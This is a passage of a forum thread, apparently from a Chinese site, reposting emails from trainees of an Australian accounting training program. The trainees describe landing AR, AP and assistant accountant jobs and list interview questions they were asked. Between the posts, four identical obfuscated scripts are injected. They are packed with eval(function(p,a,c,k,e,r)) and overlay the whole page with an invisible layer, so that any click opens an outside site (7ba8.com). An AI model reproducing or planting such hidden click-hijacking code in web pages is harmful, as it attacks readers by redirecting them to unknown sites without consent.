It's Betty. I am writing to let you know that I got an offer XXX - Australia's largest cash logistics business. The position is AR Officer, which is 6-month contract role and may become permanent as the business is expanding very quickly. They use SAP, which is a good learning opportunity for me. The base salary is $50,000, a bit lower than my current job, but I am very happy to start from the bottom. I started on May 30th.
I really want to express my deep appreciation to you people especially Jeff. He leads me to the right way to get a job that I want.
I have seen other trainees shared their job hunting experience. I hope my experience can also help somehow.
Telephone interview (about 20 mins) 10 sec summary is very helpful. But I make a little change based on the position and that’s always what I do.
1st face to face interview (HR person, about 45 mins) All questions are in my expectation. (But all the hands on accounting knowledge is definitely from Florian) Examples are definitely useful. But as Jeff said, every answer and story should be tailored based on the particular question. Make it simple but attractive. It needs us keep practicing again and again.
2nd face to face interview (FC, Financial Accountant, about 30 mins) I prepared possible technical questions including the mock AR follow-up calls. But they didn’t ask me too many technical questions as AR is a quite basic role. This interview was more like a chat. As Jeff said, active eye contact and positive feedback when necessary and suitable are important. I can feel they like talking with me and I am the person that they want.
Then the following are pre-employment medical and 2 reference check.
It has been 4 weeks since I started job searching till I got this offer. I went to 3 company interviews and 3 agent interviews in total. After I got the offer, I still received 1 company and 2 agent calls. And one agent keeps calling me to see how is my job hunting. To be honest, I don’t think the agent can help us too much to find the entry level job. And cold calls seems don’t work as well. But if you aim at the AA role in the big company, agent plays an important role.
Besides the XXX interview, the other 2 company interviews are Spotless and CBA respectively.
It is a 10 month contract AP role in Spotless. I failed after the final interview as they want someone who is more specialized in AP with big company working experience background. The whole process is pretty much as above.
The other one is 3 month internal auditing role in CBA. I went through the agent interview and CBA’s interview. But after consideration, I chose the role in XXX.
Anyway, firstly, I don’t think I need to mention any interview questions or techniques, as they are all summarized by Coco and Jeff. The resume after revised by Jeff will be fine. But homework is very important after interview class. Secondly, make a target for yourself, AP or AR or AA, big company or small to medium company, then work hard on it. Thirdly, be confident, but be ready. Everything will be paid off.
Thanks again, Coco and Jeff, keep in touch.
Betty作者: Kydie 时间: 2011-7-26 16:42
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Hi Coco,
Thank you for your email. I am doing well.
Starting last week I started a new role at the Express Delivery Company Head Office as a Commercial Analyst with better income. In March 2011 came out an opening for this position and I was quite fortunate that after 3 times interview upto the G.M. of Commercial Division, he gave me a chance to perform for this role. Therefore please let me perform for this role as another good stepping stone.
Thank you very much for the update, Coco. Your program is very good and helps so many candidates.
I wish you all the very best. Good Luck.
Good news!
Yet another of our Sydney trainees, Joyce, has successfully landed an Accounts Assistant position last week with one of Asia’s leading luxury watch retailers.
During her time at Florian Accounting, Joyce undertook our Level 1, Internship and Interview Coaching Programs. These programs combined helped her to improve her technical and interview skills, and equipped her with the relevant working skills and experience to be able to fulfil an accounting-related role. This was a major part of her being able to get this role.
In her below email, she shares with us those interview questions she was asked during her screening process. As for her reference check, the main questions asked of us related to her work ethics, punctuality, technical skills (incl. Excel), ability to meet deadlines and prioritize her workload, main strengths and weaknesses, and her ability to follow through with instructions under minimum supervision.
Let’s all wish her the best of luck in her new job and heads up for those of our current trainees.
Their financial manager and accountant conducted the interview.
They asked me questions based on my resume
Tell me about Florian accounting
What did you do in Florian ?
Your strengths and weaknesses
what do you like about Florian
What you leave florian
He also asked me about my key achievements in Florian
How do you work under pressure
how do I know about them作者: Kydie 时间: 2011-7-26 16:44
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Hi Coco,
How are you? I hope you are well. Just want to let you know that I found a new job as an Assistant Accountant in a non profit organization.
Will start next week. I can say that the training and internship program helped me to be more confident during interviews.
Wishing all the trainess to find a job that they will ejoy!
Thanks for sharing your knowledge and your words of encouragement! =)
All the best!
Marissa作者: Kydie 时间: 2011-7-26 16:45
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Hi CoCo,
Our company is currently using MYOB and I have only basic knowledge about this software, if I take the course, can I handle the BAS and GST myself after I finish it?
-- Yes, you will have the full knowledge preparing and lodging Business Activity Statements and IAS. If you need help, you can bring your company’s case and I will be more than happy to have a look through the accounts and assist you.作者: Kydie 时间: 2011-7-26 16:45
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Hi Coco,
I list my interview questions with --- for graduate accountant role below to share with other trainees. I will update my status on this job for you. Thank you very much for your patient and great help. I will keep in touch with you.
Why we hire you?
Salary expectation based on your research
List your three strengths and one weakness point
Tell me about yourself about 3 minutes
AP/AR Experience
What is your five year plan and have you set specific target for yourself?
Describe one biggest achievement that you experienced during study in Australia
Do you have any questions that you want to ask?
What is your excel skills and specify that?
What kind of system you familiar with?
Which subject you are good at?作者: kenny218 时间: 2011-7-27 12:15
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